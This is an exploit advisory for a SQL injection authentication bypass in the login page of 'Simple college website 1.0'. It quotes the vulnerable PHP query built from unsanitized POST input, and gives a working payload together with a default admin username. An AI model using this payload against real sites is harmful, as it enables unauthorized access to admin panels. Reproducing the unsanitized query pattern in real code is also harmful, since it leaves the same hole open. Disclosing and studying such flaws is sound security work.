Simple college website 1.0 name sql injection (authentication bypass) Vulnerability / Exploit
/
/
/
Exploits / Vulnerability Discovered : 2021-01-26 |
Type : webapps |
Platform : php
This exploit / vulnerability Simple college website 1.0 name sql injection (authentication bypass) is for educational purposes only and if it is used you will do on your own risk!
Explaination:
The source of "/admin_pages/login.php" file defines the following lines of code:
$name=$_POST['name'];
$password=$_POST['password'];
$result=mysqli_query($conn,"SELECT * FROM users WHERE name='$name' AND Password='$password'");
which are called when trying to log into the administrative panel at "/admin_pages/login.php" itself.
Proof Of Concept:
The user input is not properly sanitized and this leads to authentication bypass through the classic "<username>' or '1' = '1 -- -" where <username> has to be a valid username. For example, the default username is "florian".